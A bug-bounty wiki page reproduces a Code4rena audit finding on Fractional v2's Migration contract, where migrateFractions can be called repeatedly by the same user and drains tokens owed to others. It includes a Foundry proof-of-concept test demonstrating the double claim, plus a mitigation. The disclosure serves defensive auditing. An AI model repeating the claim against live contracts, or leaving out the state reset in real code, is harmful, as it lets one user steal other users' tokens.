Skip to content
Business logic Audit finding Intermediate

migrateFractions may be called more than once by the same user which may lead to loss of tokens for other users

The migrateFractions function in the Migration contract did not record that a user had already migrated, so the same user could call it repeatedly and receive new vault tokens more than once. This drained the contract's token balance, leaving later users unable to claim the tokens they were owed.

dipp Follow

Originally disclosed on Code4rena

Submitted by dipp, also found by 0x52, ak1, auditor0517, hansfriese, jonatascm, kenzo, Lambda, panprog, PwnedNoMore, Ruhum, smiling_heretic, Treasure-Seeker, and xiaoming90

The migrateFractions function in the Migration.sol contract is used to send new vault tokens to the user calculated based on the amount of ETH and fractions the user contributed to the migration proposal. After it is called once the user should have all the new vault tokens owed to them.

Since the function does not check if the user had already called it, a user may call it more than once, allowing them to gain more new vault tokens than they are owed. If a user repeatedly uses this function to gain new tokens then other users may not be able to get their new tokens.

Proof of Concept

Test code added to Migrations.t.sol:

The test code below shows the first user (Alice) migrating their tokens to the new vault twice before the second user (Bob) calls migrateFractions which then fails.

	function testMigrateFractionsAgain() public {
        // Setup
        testSettle();
        (, , , , address newVault, , , , ) = migrationModule.migrationInfo(
            vault,
            1
        );
        (address newToken, uint256 id) = registry.vaultToToken(newVault);

        // First user migrates fractions twice
        assertEq(IERC1155(newToken).balanceOf(address(migrationModule), id), TOTAL_SUPPLY * 2);            // Confirm Migration has all new tokens

        assertEq(getFractionBalance(alice.addr), 4000);                         // Alice joined with 1 ether and 1000 fractions
        alice.migrationModule.migrateFractions(vault, 1);
        assertEq(IERC1155(newToken).balanceOf(alice.addr, id), 6000);           // Alice's shares == 6000

        assertEq(IERC1155(newToken).balanceOf(address(migrationModule), id), TOTAL_SUPPLY * 2 - 6000);            // Confirm Migration loses new tokens

        alice.migrationModule.migrateFractions(vault, 1);
        assertEq(IERC1155(newToken).balanceOf(alice.addr, id), 12000);          // Confirm Alice gains 6000 new tokens again

        assertEq(IERC1155(newToken).balanceOf(address(migrationModule), id), 8000);            // Confirm Migration loses new tokens

        // Second user attempts to migrate fractions
        assertEq(getFractionBalance(bob.addr), 0);                              // Bob joined with 1 ether and 5000 fractions (all of his fractions)
        vm.expectRevert(stdError.arithmeticError);
        bob.migrationModule.migrateFractions(vault, 1);                         // Bob is unable to call migrateFractions and gain new tokens because the migration module does not contain enough tokens
        assertEq(IERC1155(newToken).balanceOf(bob.addr, id), 0);                // Confirm Bob does not gain any new tokens (supposed to gain 14,000 tokens)
    }

Recommended Mitigation Steps

A possible fix might be to set the userProposalEth and userProposalFractions to 0 after the user’s tokens have been migrated.

mehtaculous (Fractional) confirmed

HardlyDifficult (judge) increased severity to High and commented:

migrateFractions can be called multiple times, stealing funds from other users. This is a High risk issue.

Selecting this submission as the primary for including a clear POC.


The original report as published on Code4rena, by dipp. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the function never reset or marked the caller's recorded contribution amounts after a successful migration, so the same entitlement could be claimed repeatedly.

Impact

A single user could take more new tokens than owed, and other users could be unable to claim theirs at all.

What the attacker needed

A completed migration proposal; attacker holds fractions in the old vault

The fix

The user's recorded ETH and fraction contributions should be zeroed after a successful migration so the claim cannot be repeated.

How it was found

  1. Set up the migration so the new vault and token exist and the migration module holds the new tokens.
  2. Have the first user call migrateFractions once and receive their new tokens.
  3. Have the same user call migrateFractions again and receive the same amount of new tokens a second time.
  4. Have a second user call migrateFractions, which reverts because the module no longer holds enough tokens.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a project moves to a new token, each person is meant to swap their old holdings for new ones exactly once. Here the swap function had no memory of who had already swapped, so one person could keep pressing the button and take more than their share. The pool of new tokens ran dry, and honest users who came later got nothing.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by dipp

View all

5 more disclosed reports, best first.

More from Fractional v2 contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.